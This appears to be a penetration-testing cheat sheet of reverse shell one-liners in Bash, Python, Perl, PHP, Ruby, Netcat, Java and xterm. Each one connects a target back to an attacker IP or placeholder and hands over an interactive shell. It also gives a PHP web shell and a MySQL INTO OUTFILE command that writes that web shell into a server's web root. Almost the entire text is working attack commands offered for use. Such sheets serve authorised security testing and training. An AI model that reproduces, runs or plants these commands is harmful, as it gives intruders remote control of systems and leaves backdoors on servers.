Reverse Shells

Bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
OR
bash -c "bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PHP

Try with 4, 5, 6…
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

The below can be used too:
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/MY_IP_ADDRESS/MY_PORT 0>&1'"); ?>

Or simple create a PHP page with the following:
<?php system($_GET['cmd']); ?>

Have MySQL access? Add the following:
SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/cmd.php"

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

### Windows ###
nc.exe 10.10.10.1 1234 -e cmd.exe
nc.exe 10.10.10.1 1234 -e powershell

### Linux ###
nc 10.0.0.1 1234 -e /bin/sh

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java

r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[]) p.waitFor()

xterm

It will try to connect back to you (10.0.0.1) on TCP port 6001.

xterm -display 10.0.0.1:1 To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):

Xnest :1 You’ll need to authorise the target to connect to you (command also run on your host):

xhost +targetip
